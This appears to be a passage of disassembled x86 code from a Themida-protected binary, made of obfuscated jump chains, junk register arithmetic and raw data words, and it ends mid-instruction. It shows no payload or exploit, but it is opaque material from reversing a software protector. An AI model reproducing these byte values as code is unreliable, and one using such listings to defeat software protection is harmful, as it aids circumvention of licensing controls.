4EC8124h, 89000000h, 0A8E9243Ch, 31000011h dd 45E9242Ch, 31000028h, 0C2835FFAh, 0F2FAE901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5011AA: ; CODE XREF: Themida_:0050DFF0j add esi, 39991B74h push ecx jmp loc_505425 ; --------------------------------------------------------------------------- dw 0FB25h dd 5273486Dh, 7C4F2ABAh, 5AD0014Dh, 0CD67E9h, 24148900h dd 90365C68h, 2434FF59h, 4C4835Ah, 19ACCA81h, 0EA81069Eh dd 4D32267Fh, 20F0E94Ah db 1, 0 ; --------------------------------------------------------------------------- loc_5011EA: ; CODE XREF: Themida_:0050FB23j mov ecx, esp add ecx, 4 push esi jmp loc_50800B ; --------------------------------------------------------------------------- loc_5011F8: ; CODE XREF: Themida_:005072B2j xor ebp, esi pop esi sub edx, 0CB965A5h jmp loc_506ED7 ; --------------------------------------------------------------------------- loc_501206: ; CODE XREF: Themida_:00508ECAj pop esp jmp loc_50A68B ; --------------------------------------------------------------------------- aXzaPa db 'XZp',0 db 0EBh, 66h, 50h dd 0C328C5B0h, 30595866h, 2434FFD8h, 81241C8Bh, 4C4h, 0E3895300h dd 4EC81h, 3C890000h, 6FFBF24h, 8BE9761Bh, 5800000Fh, 2F2DF381h dd 0F3811438h, 4B8E0763h, 5534E9h db 0 ; --------------------------------------------------------------------------- loc_501255: ; CODE XREF: Themida_:00514526j add ebp, edi jmp loc_4FF849 ; --------------------------------------------------------------------------- dd 240C8B66h, 83E28952h, 1C8904ECh, 28CB6824h, 3C890000h dd 43ABE924h, 0D1000000h, 0D941E95Ah, 0B4500000h, 0E9DCF6DAh dd 0F3F6h, 835FF901h, 0C8704C1h, 0C6815C24h, 4, 61168h dd 243C8900h, 2BFh, 5FFE0100h, 31243433h, 34332434h, 24248B24h dd 9C243CD3h, 0FFE559E9h, 1C8B57FFh, 4C48124h, 0E9000000h dd 7F50h, 7DB8C681h, 0FE295599h, 7DB8EE81h, 2E95599h, 680000D8h dd 2677h, 97F0E9h, 80C78100h, 0E9AE4FC4h, 0FFFFFF94h ; --------------------------------------------------------------------------- loc_5012F4: ; CODE XREF: Themida_:00507589j add esp, 4 push eax push dword ptr [esp+4] jmp loc_510B67 ; --------------------------------------------------------------------------- loc_501301: ; CODE XREF: Themida_:0050A13Cj sub esp, 4 mov [esp], edi jmp loc_5114F6 ; --------------------------------------------------------------------------- loc_50130C: ; CODE XREF: Themida_:0050FFB0j jz loc_5100F2 push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_5102B9 ; --------------------------------------------------------------------------- db 89h dd 0E589242Ch, 123A2E9h, 4C48300h, 2A2C9A04h, 0F028832Ch dd 2A048304h, 0F678B551h, 0EF35E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_501346: ; CODE XREF: Themida_:0050F95Fj mov [esp], ecx jmp loc_50602C ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 8702EF83h, 665C243Ch, 0E9240C89h, 0CA38h dd 4BDh, 5DEF0100h, 4EF81h, 3C870000h, 8F545C24h, 0E9562404h dd 0B9E1h, 0E904C483h, 2A5Fh, 0B7535A66h, 0F6DFF6E3h, 80D7F6D7h dd 0F8000DC7h, 0ABA6E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50139E: ; CODE XREF: Themida_:005064E4j pop edx shr ebp, 5 add ebp, 0FB5838A4h push eax mov eax, 3FE32F46h add edx, 2EAA0207h sub edx, eax jmp loc_50CBAC ; --------------------------------------------------------------------------- db 66h dd 66306705h, 5024148Bh, 3EE868h, 24248900h, 4240483h dd 40558h, 0C0830000h, 24048702h, 0E924248Bh, 21E0h ; --------------------------------------------------------------------------- loc_5013E4: ; CODE XREF: Themida_:0051141Cj mov eax, 30h add eax, 4A7D18B4h jmp loc_506231 ; --------------------------------------------------------------------------- db 53h dd 414E6BBh, 5BD8013Dh, 0E62DD001h, 2D3D0414h, 32F761B4h dd 8904EC83h, 0FFB9240Ch, 0F7613508h, 0E95650D1h, 596Fh dd 667DBF57h, 0FE903EBh, 5F00012Ch, 5EF3315Ah, 34FFDD01h dd 89525B24h, 4C281E2h, 83000000h, 148704C2h, 422FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_501446: ; CODE XREF: Themida_:00514731j add edx, 0FFFFFFFFh shl edx, 6 jmp loc_50AFA3 ; --------------------------------------------------------------------------- loc_501454: ; CODE XREF: Themida_:0050B9F5j sub ebp, 4B654446h jmp loc_50DB68 ; --------------------------------------------------------------------------- db 0B1h dd 58C128BDh, 8064F180h, 0E9C00EF1h, 1119E902h, 4B80000h dd 1000000h, 0FF40E9C1h, 0EC810000h, 4, 0FF241C89h, 8B042474h dd 0C483241Ch, 24048F04h, 6624248Bh, 9C240401h, 0FFE375E9h dd 0CAB850FFh, 0E975134Dh, 10F4Ah ; --------------------------------------------------------------------------- loc_5014AC: ; CODE XREF: Themida_:0050A4EFj mov [esp], esi mov esi, 78971B46h jmp loc_50DBBF ; --------------------------------------------------------------------------- loc_5014B9: ; CODE XREF: Themida_:00509C79j add ebp, esi pop esi push ecx mov ecx, 32D46F16h dec ecx xor ecx, 20D080Ch jmp loc_507636 ; --------------------------------------------------------------------------- dw 0E281h dd 30533C84h, 64CCBD55h, 0EA317111h, 5AD7895Dh, 0FFEAFAE9h dd 665166FFh, 662A9DB9h, 5966C801h, 2235E952h db 1, 0 ; --------------------------------------------------------------------------- loc_5014F6: ; CODE XREF: Themida_:0050730Aj push eax mov eax, 51A64571h and eax, 5D203FD9h xor eax, 511A7BA6h jmp loc_51291A ; --------------------------------------------------------------------------- loc_50150B: ; CODE XREF: Themida_:005049F2j sub ecx, 0FFFFFFFFh jmp loc_502128 ; --------------------------------------------------------------------------- loc_501513: ; CODE XREF: Themida_:00509777j push esi mov esi, 1 jmp loc_50A564 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0B9240C89h, 0BE11826h, 347268h, 240C8900h, 592414F7h dd 8673E981h, 0C801B880h, 2434FF59h, 5324348Bh, 0C381E389h dd 4, 4C381h, 0E8E90000h, 5DFFFFEAh, 31241C33h, 1C33241Ch dd 1C895C24h, 81E38924h, 4C3h, 4BF5700h, 0E9000000h, 0F820h dd 240C8B66h, 68E78957h, 6A16h, 0FFFC3CE9h, 242C8BFFh dd 8EF8E9h, 242C8900h, 5124B951h, 81490A77h, 0A33CDAE9h dd 26C18149h, 896DE639h, 0E5C159CDh, 31C53108h, 0F7C531E8h dd 555295D0h, 0F02835BDh, 6568BA59h, 0EA01F299h, 81242C8Bh dd 4C4h, 5AD53100h, 897BE9h, 4055800h, 68000000h, 1D11h dd 0BD242C89h, 4, 5002E9h, 0CE814600h, 4AC44542h, 66E9DEF7h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5015FF: ; CODE XREF: Themida_:00513840j sub ecx, 71114B04h push edi mov edi, 3BFA249Fh or ecx, edi pop edi add ecx, 6B1EEA86h xor ebx, ecx pop ecx push ebx push eax push 782966D7h pop eax add eax, 3B3D465Fh dec eax add eax, 9C1EC558h mov ebx, eax pop eax and ebx, 637F712Eh shr ebx, 6 jmp loc_50DCFC ; --------------------------------------------------------------------------- aPso db 'PO',0 dd 0C8B6600h, 2B876824h, 37E90000h, 870000CCh, 0C15C243Ch dd 0C78106E7h, 39DBF8D4h, 87E9FB89h db 0EBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_501663: ; CODE XREF: Themida_:005128CCj shl esi, 3 add esi, 414726F5h and esi, 5C612883h xor esi, 10402885h mov eax, esi pop esi sub esi, 1C166F0h add esi, eax add esi, 1C166F0h jmp loc_504673 ; --------------------------------------------------------------------------- loc_50168E: ; CODE XREF: Themida_:00505CE5j xor ecx, eax pop eax push 4A97h mov [esp], eax sub esp, 4 mov [esp], ebp push eax push ebp jmp loc_5141C8 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0CCh dd 81342979h, 5D1D0FEEh, 81DEF741h, 324BDAC6h, 0E9F001BFh dd 0D9A5h ; --------------------------------------------------------------------------- loc_5016C4: ; CODE XREF: Themida_:00512915j pop edi jmp loc_50373E ; --------------------------------------------------------------------------- loc_5016CA: ; CODE XREF: Themida_:0050DD2Bj add ebp, 4 add ebp, 4 jmp loc_50BA47 ; --------------------------------------------------------------------------- dd 0E902C783h, 0C769h ; --------------------------------------------------------------------------- loc_5016E0: ; CODE XREF: Themida_:00513DFFj sub ebx, edx pop edx jmp loc_50D8EC ; --------------------------------------------------------------------------- loc_5016E8: ; CODE XREF: Themida_:0050E45Aj add esp, 4 sub ebx, edx pop edx jmp loc_505201 ; --------------------------------------------------------------------------- db 80h dd 0C58001EDh, 6D78E901h, 0D0310000h, 11533E9h db 0 ; --------------------------------------------------------------------------- loc_501705: ; CODE XREF: Themida_:005088DBj pop ebx push 0D0Ch mov [esp], ebp push 1 mov ebp, [esp] add esp, 4 and eax, ebp jmp loc_501FA3 ; --------------------------------------------------------------------------- dd 0B951F301h, 4D872BA1h, 4E7FEB81h, 0CB295B31h, 4E7FC381h dd 0D7E95B31h db 28h, 1, 0 ; --------------------------------------------------------------------------- loc_50173B: ; CODE XREF: Themida_:00504C5Cj pop ebx jmp loc_50EF79 ; --------------------------------------------------------------------------- db 5Fh, 55h, 0FFh dd 5D042474h, 12242E9h db 0 ; --------------------------------------------------------------------------- loc_50174D: ; CODE XREF: Themida_:0050E09Dj pop edx xor edx, 1E3C1736h sub eax, 60031E1Ch jmp loc_502BB0 ; --------------------------------------------------------------------------- dw 6850h dd 0F1D0B53h, 32E9E958h, 0C4BD0001h, 51032566h, 9561D8B9h dd 5E1C14Ah, 8107E1C1h, 607465C9h, 0A9B6E918h, 0C9BB0000h dd 817FE067h, 5E39D8EDh, 81DD2913h, 5E39D8C5h, 0B8505B13h dd 546D69C8h, 67E95240h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5017A7: ; CODE XREF: Themida_:0050B76Ej push ebp inc dword ptr [esp] pop ebp jmp loc_50DA9B ; --------------------------------------------------------------------------- loc_5017B1: ; CODE XREF: Themida_:0050BA79j pop edx add ebp, 0B11CF1A1h mov edx, ebp mov ebp, [esp] add esp, 4 push 5A3Eh mov [esp], ebx push esi mov esi, edx push ecx mov ecx, esi mov ebx, ecx pop ecx pop esi jmp loc_50D6C4 ; --------------------------------------------------------------------------- loc_5017D7: ; CODE XREF: Themida_:00503F4Aj add ebx, 5B6F0F2Ah xor [ebx], ecx pop ebx xor ecx, [edi+24h] push ebx mov ebx, 24h jmp loc_5049E4 ; --------------------------------------------------------------------------- dw 0E959h dd 1060Fh, 19BE685Eh, 0F0E90000h db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5017FF: ; CODE XREF: Themida_:005119F7j add esp, 4 push ebx mov ebx, 4BFC7337h dec ebx xor ebx, 269A42FAh neg ebx not ebx shl ebx, 2 sub ebx, 587F9452h sub ecx, ebx jmp loc_503774 ; --------------------------------------------------------------------------- db 0BBh dd 2, 0E2626C05h, 2DD80174h, 74E2626Ch, 0A41BE95Bh, 0C330000h dd 0D0E95C24h db 0E0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_501843: ; CODE XREF: Themida_:00507F3Fj or ebx, 4AE76898h jmp loc_50CCBD ; --------------------------------------------------------------------------- dw 66ACh dd 0D2E95052h, 81000133h, 0CC042444h, 5B36BE54h, 12313E9h dd 62E95A00h, 0BF000103h, 4, 0FD895556h, 895DEE89h, 3C8B5EF0h dd 4C48324h, 6263E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_501886: ; CODE XREF: Themida_:005010DAj add esi, 0C6D41ACAh mov eax, esi pop esi sub edx, eax jmp loc_5038F4 ; --------------------------------------------------------------------------- loc_501896: ; CODE XREF: Themida_:00502A0Ej add ebx, eax mov eax, [esp] jmp loc_50EC11 ; --------------------------------------------------------------------------- loc_5018A0: ; CODE XREF: Themida_:005069E7j mov eax, edi pop edi xor [esp+4], eax push dword ptr [esp] jmp loc_4FFE62 ; --------------------------------------------------------------------------- db 81h dd 2407C5EAh, 81C20117h, 2407C5C2h, 53E95817h, 81FFFFDFh dd 4C1h, 4C18300h, 8B240C87h, 24D32424h, 1658E924h db 1, 0 ; --------------------------------------------------------------------------- loc_5018DA: ; CODE XREF: Themida_:00502880j mov edi, ecx pop ecx shl edi, 1 add edi, 24C01941h sub edx, edi pop edi sub ebx, 9A94FC1h sub ebx, edx add ebx, 9A94FC1h mov edx, [esp] push 4373h jmp loc_513314 ; --------------------------------------------------------------------------- loc_501903: ; CODE XREF: Themida_:0050EF74j pop esi push ebp jmp loc_500679 ; --------------------------------------------------------------------------- dw 0F129h dd 6AC8C181h, 0E9812754h, 3F9D02C6h, 8BAB850h, 0D0F70497h dd 160C9925h, 876FE947h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50192A: ; CODE XREF: Themida_:0050090Ej xor [esp], esi xor esi, [esp] mov esp, [esp] add ebx, 6E040638h sub esp, 4 mov [esp], ebp jmp loc_50B7C7 ; --------------------------------------------------------------------------- aS9@ db ';Ȝ9@',0 align 4 loc_50194C: ; CODE XREF: Themida_:00506880j xor edi, ecx pop ecx add [esp+4], edi pop edi mov ecx, [esp] add esp, 4 push 5E25h mov [esp], edx mov edx, 4 add ecx, edx pop edx jmp loc_508FEF ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 68243489h, 75443C33h, 5E6C15Eh, 0FF3AE9h, 242C8B00h dd 4C481h, 5DE90000h, 810000DFh, 4C4h, 6D18E900h, 4BD0000h dd 0E9000000h, 5158h ; --------------------------------------------------------------------------- loc_5019AC: ; CODE XREF: Themida_:00502A67j push 3F1Bh mov [esp], ebx mov ebx, 24E5373Ah mov ebp, ebx jmp loc_50D52B ; --------------------------------------------------------------------------- loc_5019C0: ; CODE XREF: Themida_:0050A42Bj dec esi jmp loc_508214 ; --------------------------------------------------------------------------- dw 90B5h dd 0C8BE800h, 4C48124h, 8B000000h, 8951241Ch, 0FA3E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5019DE: ; CODE XREF: Themida_:00501C6Bj mov edi, 7AD2715h shl edi, 2 sub esp, 4 mov [esp], ebx mov ebx, 483440B5h dec ebx jmp loc_5092BF ; --------------------------------------------------------------------------- dw 0BF57h dd 3D840DD7h, 0FFE9F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_501A05: ; CODE XREF: Themida_:005001DBj push ebp mov ebp, esp add ebp, 4 jmp loc_505F13 ; --------------------------------------------------------------------------- loc_501A13: ; CODE XREF: Themida_:005145DFj sub ebp, 0E18BCEEAh sub edi, ebp pop ebp add edi, eax add edi, 61663198h pop eax push ecx push esi mov esi, 344D064Fh mov ecx, esi pop esi shl ecx, 1 jmp loc_50F0FF ; --------------------------------------------------------------------------- dw 34FFh dd 242C8B24h, 81E68956h, 4C6h, 4C68100h, 87000000h, 248B2434h dd 94D6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_501A56: ; CODE XREF: Themida_:00512B11j mov edx, 3D3244B0h mov ebx, 18344A79h xor ebx, edx pop edx add ecx, 102C205Eh jmp loc_50D092 ; --------------------------------------------------------------------------- dw 0C183h dd 7259E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_501A76: ; CODE XREF: Themida_:0050CA6Fj add ecx, 4 jmp loc_508EC4 ; --------------------------------------------------------------------------- loc_501A81: ; CODE XREF: Themida_:005047DBj shr eax, 0Eh jmp loc_50B571 ; --------------------------------------------------------------------------- loc_501A89: ; CODE XREF: Themida_:004FF8B8j push ebx jmp loc_50D5BC ; --------------------------------------------------------------------------- db 56h dd 8228EFBEh, 0C9F9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_501A9A: ; CODE XREF: Themida_:00504ACAj sub ebx, ebp pop ebp or edx, ebx mov ebx, [esp] add esp, 4 push edi jmp loc_514195 ; --------------------------------------------------------------------------- dw 8E68h dd 89000069h, 2BBF243Ch, 81406305h, 4ECh, 243C8900h, 5F2414F7h dd 0FF1F781h, 0EF814C78h, 10FC1C55h, 0CF81EF81h, 0DEE9C872h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_501ADF: ; CODE XREF: Themida_:005105E6j add ebx, 4 sub ebx, 4 jmp loc_50761E ; --------------------------------------------------------------------------- dd 4AB979B9h, 8BCE314Bh, 0C481240Ch, 4, 624B7305h, 25E92D31h dd 5A057919h, 0E955BE4Eh, 504h ; --------------------------------------------------------------------------- loc_501B14: ; CODE XREF: Themida_:0050F29Cj mov edx, [esp] add esp, 4 push ecx mov ecx, 4 sub eax, 385F0D1Dh add eax, ecx add eax, 385F0D1Dh jmp loc_50F6FA ; --------------------------------------------------------------------------- dd 2BBh, 5BDF0100h, 0CDF1E9h, 2C335E00h, 242C3124h, 8B242C33h dd 4292424h, 0BFE99C24h, 83FFFFDCh, 74E904C4h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_501B5F: ; CODE XREF: Themida_:005111B0j push dword ptr [esp] mov eax, [esp] add esp, 4 push eax jmp loc_511B14 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 4EC81h, 14890000h, 4EC8324h, 0B4240489h, 10EC802Bh dd 0E9FEC480h, 11D65h, 111168h, 44FEE900h, 39680000h, 8900005Dh dd 0E2892414h, 2EDEE9h, 24348700h, 8924248Bh, 8957242Ch dd 955DE9E7h, 0D12C0000h, 23B4E9h, 242C8B00h, 4C481h, 680000h dd 81000000h, 1477242Ch, 34291925h, 24048124h, 19251477h dd 6EEC15Eh, 4587BB53h, 0CB8173AFh, 7EEE3ED6h, 1131C381h dd 0E3E9621Bh db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_501BFB: ; CODE XREF: Themida_:00505AC5j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 push ebp push 0B96h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebp jmp loc_50D602 ; --------------------------------------------------------------------------- dd 24048B66h, 2608E9h db 0 ; --------------------------------------------------------------------------- loc_501C2D: ; CODE XREF: Themida_:0050D910j mov ax, [esp] add esp, 2 and al, cl pop ecx push 0FDh mov [esp], edi push 7F03h push esp jmp loc_512BF4 ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 53000000h, 7F0A24BBh, 0A8E3811Fh, 817B402Ah dd 0A45655E3h, 664FE944h db 2 dup(0) ; --------------------------------------------------------------------------- loc_501C6A: ; CODE XREF: Themida_:00500369j push edi jmp loc_5019DE ; --------------------------------------------------------------------------- loc_501C70: ; CODE XREF: Themida_:0050318Ej add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_50ACC9 ; --------------------------------------------------------------------------- loc_501C84: ; CODE XREF: Themida_:00500E6Ej sub ebx, 4D90AABCh jmp loc_511857 ; --------------------------------------------------------------------------- db 81h dd 1318C9EFh, 708EE936h db 2 dup(0) ; --------------------------------------------------------------------------- loc_501C9A: ; CODE XREF: Themida_:0050FBFDj mov esi, 39C62EF1h and esi, 7E502BF4h push eax mov eax, 0DDB71DE5h jmp loc_5138EB ; --------------------------------------------------------------------------- dd 2B9h, 0E9CB0100h, 9C7Ch ; --------------------------------------------------------------------------- loc_501CBC: ; CODE XREF: Themida_:0051317Dj mov [esp], ebx push 4D355C5Ch mov ebx, [esp] jmp loc_50B034 ; --------------------------------------------------------------------------- aZSzm db 'ZM',0 db 0 ; --------------------------------------------------------------------------- loc_501CD3: ; CODE XREF: Themida_:00507379j sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], ebx jmp loc_50F88E ; --------------------------------------------------------------------------- loc_501CE8: ; CODE XREF: Themida_:00513A37j push eax jmp loc_5114D5 ; --------------------------------------------------------------------------- loc_501CEE: ; CODE XREF: Themida_:0051150Aj add esp, 4 push eax push esi mov esi, 39BF2F38h push edi mov edi, 371242A4h neg edi or edi, 70E57D2h inc edi push edi not dword ptr [esp] pop edi sub edi, 481631C3h push edx mov edx, 467E9691h add edi, edx pop edx mov eax, edi jmp loc_50CA74 ; --------------------------------------------------------------------------- dw 0C481h dd 2, 4EC81h, 14890000h, 53C28824h, 68D48850h, 13Dh, 52240C89h dd 700368h, 240C8900h, 26E9E188h, 5000053h, 58A61600h dd 97E9h db 0 ; --------------------------------------------------------------------------- loc_501D59: ; CODE XREF: Themida_:00510C3Aj add esp, 4 push ebp mov ebp, esp jmp loc_5105C0 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 0E9525500h, 0EA11h, 0E9240433h, 7F9Ch, 24048B66h dd 61C368h, 241C8900h, 2B685B54h, 89000020h, 6850243Ch dd 149F1F35h, 4F06E9h db 0 ; --------------------------------------------------------------------------- loc_501D9D: ; CODE XREF: Themida_:00505F1Aj mov [esp], edx mov edx, 5F5E7794h push 71B1h mov [esp], esi mov esi, 1D444664h jmp loc_50CB22 ; --------------------------------------------------------------------------- aOs_ db '؎_',0 db 0 ; --------------------------------------------------------------------------- loc_501DC1: ; CODE XREF: Themida_:0050DB3Dj mov [esp], edx xor dword ptr [esp], 59E36C9Ah pop ebp xor ebp, 59E36C9Ah push dword ptr [esp] pop edx add esp, 4 mov ecx, 1B8332A7h xor ecx, ebp jmp loc_511BFC ; --------------------------------------------------------------------------- dd 0E904C483h, 7D4Ch, 25BF575Fh, 814C4471h, 1EFh, 1E78100h dd 471E913Eh, 0F781DFF7h, 0F14E8ABAh, 15FFD01h, 45ED81C5h dd 8B02B145h, 0C4812404h, 4, 8302C583h, 0E0E904ECh, 6600003Bh dd 6824048Bh, 2637h, 89240C89h, 4EC81E1h, 89000000h, 48BF243Ch dd 0E9587656h, 806Bh, 6AF268h, 241C8900h, 0C3815B54h, 4 dd 4B85055h, 89000000h, 4AE958C5h db 0F3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_501E6B: ; CODE XREF: Themida_:00507FECj add [esp+4], ebx jmp loc_513C29 ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 2E7C000h, 80ECB652h, 0CEFE3CEEh, 0EE80C6FEh dd 46E680E0h, 35B35366h, 5B66DE30h, 885AF728h, 0DDF65BFDh dd 0D5F6D5F6h, 0F608E5C0h, 0CDF580DDh, 54E9EE88h db 28h, 1, 0 ; --------------------------------------------------------------------------- loc_501EB3: ; CODE XREF: Themida_:00513D45j push dword ptr [esp] jmp loc_505EE2 ; --------------------------------------------------------------------------- loc_501EBB: ; CODE XREF: Themida_:0050ED23j dec ebx push eax mov eax, 0A760A9C5h add ebx, eax mov eax, [esp] add esp, 4 add eax, ebx push dword ptr [esp] pop ebx jmp loc_50BF09 ; --------------------------------------------------------------------------- db 89h, 0C1h, 58h dd 0A3C18141h, 19DF2E8h, 8B52E9C8h, 0C2810000h, 386053AEh dd 62EA815Bh, 29197911h, 0BA5250EAh, 402311A2h, 9C2304B8h dd 7F1D0559h, 0D0295F68h, 0FDF5E9h db 0 ; --------------------------------------------------------------------------- loc_501F0D: ; CODE XREF: Themida_:0050D1F8j shl edx, 2 sub edx, 19B96213h sub esp, 4 jmp loc_5071CC ; --------------------------------------------------------------------------- loc_501F1E: ; CODE XREF: Themida_:0050A82Cj popa popf retn ; --------------------------------------------------------------------------- db 0E9h, 0F0h, 0D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_501F26: ; CODE XREF: Themida_:005086D2j sub esp, 4 mov [esp], edi mov edi, 645A519Fh push 9BA5AE89h jmp loc_50AB43 ; --------------------------------------------------------------------------- aIIcphms db '<$PhmS',0 align 2 dw 0FBE9h dd 68000062h, 24ECh, 51242C89h, 0C068EBB9h, 0FFC18134h dd 0F7341D0Ch, 74E981D1h, 0E93A786Fh, 0E19Fh ; --------------------------------------------------------------------------- loc_501F6C: ; CODE XREF: Themida_:004FFCA3j add edi, esi jmp loc_508E56 ; --------------------------------------------------------------------------- db 0B6h dd 0ACF680A4h, 0E91CC680h, 7B33h ; --------------------------------------------------------------------------- loc_501F80: ; CODE XREF: Themida_:0050FAE4j mov edx, 4 add ebx, edx jmp loc_500883 ; --------------------------------------------------------------------------- dd 0D1040704h, 23E9D000h, 81FFFFFCh, 4C6h, 6CE95200h db 19h, 1, 0 ; --------------------------------------------------------------------------- loc_501FA3: ; CODE XREF: Themida_:0050171Bj push dword ptr [esp] push dword ptr [esp] pop ebp push esi mov esi, esp push edi mov edi, 4 jmp loc_500499 ; --------------------------------------------------------------------------- dd 5C24048Fh, 0FD79E9h, 0E7895700h, 2F32E9h, 7B030500h dd 295B2CBCh, 688268D8h, 34890000h, 0E95E5424h, 103Fh ; --------------------------------------------------------------------------- loc_501FE0: ; CODE XREF: Themida_:005006FCj mov [esp], ebx mov ebx, 9E45B04h sub esp, 4 jmp loc_50D3D2 ; --------------------------------------------------------------------------- aEC1ZiYsv db '-e1ZYv',0 dw 0E900h dd 0FFFFD80Eh, 685A6659h, 6B19h, 0E9241C89h, 97EEh, 752E1105h dd 35F8E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_502022: ; CODE XREF: Themida_:0050F593j jmp loc_4FF816 ; --------------------------------------------------------------------------- db 50h dd 2891BF57h, 24B87A6Eh, 0E941BD68h, 0C34h ; --------------------------------------------------------------------------- loc_502038: ; CODE XREF: Themida_:00507441j pop esp mov [esp], ebx push edi mov edi, 332F56D7h jmp loc_50C664 ; --------------------------------------------------------------------------- db 8Fh dd 0C7E92404h, 80FFFFD7h, 0F480B5E4h, 58E18801h, 51E9C828h dd 58000094h, 46BDE953h, 0F5010000h, 114CAE9h, 8CC38100h dd 29244B73h, 8CB951F3h, 29244B73h, 240C8BCBh, 10EF3E9h dd 0C5815B00h, 1A1C0B7Ah, 0BB53D501h, 1A1C0B7Ah, 5A5BDD29h dd 0E902C583h, 34D7h ; --------------------------------------------------------------------------- loc_5020A0: ; CODE XREF: Themida_:005043FAj shl esi, 2 push esi jmp loc_50BAFF ; --------------------------------------------------------------------------- db 0BBh, 0F9h, 16h dd 0FD683084h, 5E308416h, 895BDE29h, 2434FFF3h, 4C4835Eh dd 34FFDE01h, 0C4815B24h, 4, 31243433h, 34332434h, 24248B24h dd 0FFDA35E9h db 0FFh ; --------------------------------------------------------------------------- loc_5020DD: ; CODE XREF: Themida_:0050392Aj mov edx, esp push eax jmp loc_50E2A2 ; --------------------------------------------------------------------------- loc_5020E5: ; CODE XREF: Themida_:00503C08j add eax, ebx pop ebx push edx mov edx, 522C4AB2h sub eax, edx pop edx dec eax not eax push esi mov esi, 74423CC1h and eax, esi mov esi, [esp] add esp, 4 dec eax push ebp mov ebp, 4B0733EBh push ecx jmp loc_504372 ; --------------------------------------------------------------------------- loc_50210F: ; CODE XREF: Themida_:0050B23Aj add esp, 4 pop dword ptr [edi+24h] jmp loc_500F30 ; --------------------------------------------------------------------------- dw 0E94Bh dd 106A3h ; --------------------------------------------------------------------------- loc_502120: ; CODE XREF: Themida_:005143D2j pop dword ptr [esp] jmp loc_4FFE1A ; --------------------------------------------------------------------------- loc_502128: ; CODE XREF: Themida_:0050150Ej push ebx mov ebx, 24h add ebx, 1C2173A7h add ebx, edi sub ebx, 1C2173A7h xor [ebx], ecx pop ebx xor ecx, [edi+24h] jmp loc_50A796 ; --------------------------------------------------------------------------- loc_502147: ; CODE XREF: Themida_:0050F714j pop edx pop dword ptr [esp] jmp loc_5051D4 ; --------------------------------------------------------------------------- dd 59C1BB53h, 0C3815175h, 0AD548DF4h, 0CBE9DA01h, 0BA000019h dd 713D26DAh, 6A61BB53h, 0CB814267h, 6D2E5741h, 629ACB81h dd 0F3815600h, 4B5B3F7Dh, 2CE9DA31h, 8800008Bh, 0E9DD88E3h dd 129DCh ; --------------------------------------------------------------------------- loc_502190: ; CODE XREF: Themida_:00505CCFj mov esi, 2B4D4050h or esi, 5C520DC7h inc esi not esi add esi, 9CFEBAEBh xor ebp, esi jmp loc_513CC3 ; --------------------------------------------------------------------------- db 8Bh dd 0E9532424h, 0E9F1h ; --------------------------------------------------------------------------- loc_5021B4: ; CODE XREF: Themida_:00505CD6j push 1761h mov [esp], edx push eax pushf jmp loc_4FF816 ; --------------------------------------------------------------------------- loc_5021C3: ; CODE XREF: Themida_:00513ABFj sub ebx, 0FFFFFFFFh jmp loc_50B014 ; --------------------------------------------------------------------------- dw 0EF81h dd 58AE37D0h, 0C781DFF7h, 1D6CCF33h, 34FFFB01h, 0C4835F24h dd 4C38104h, 87000000h, 0E2E9241Ch, 5000001h, 2FBF6B2Dh dd 10151E9h, 6E6C000h, 6809CE80h, 4057h, 0FFEAB6E9h, 16658FFh dd 0C38166C3h, 0B70F65FDh, 4EC81C0h, 89000000h, 0E789243Ch dd 0CC78E9h, 22E95800h, 5E0000E3h, 0FB47E9h db 0 ; --------------------------------------------------------------------------- loc_502235: ; CODE XREF: Themida_:005045B3j mov esi, esp add esi, 4 add esi, 4 push 53A2h mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_4FF816 ; --------------------------------------------------------------------------- dw 81ACh dd 4ECh, 24148900h, 0CA30ABB2h, 0CA30D130h, 0F2E9E186h dd 5D000088h, 34F9E9h db 0 ; --------------------------------------------------------------------------- loc_502289: ; CODE XREF: Themida_:00514690j add ebp, 21D1690Bh dec ebp jmp loc_50FD4C ; --------------------------------------------------------------------------- db 57h, 0BFh, 97h dd 813CDB5Ah, 950B17F7h, 391FE90Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5022A6: ; CODE XREF: Themida_:0050CA01j add edx, ecx add edx, 71D36727h mov ecx, [esp] add esp, 4 add esi, edx mov edx, [esp] add esp, 4 push ebx push esi push 2625h mov [esp], ecx mov ecx, 7AA245DEh add 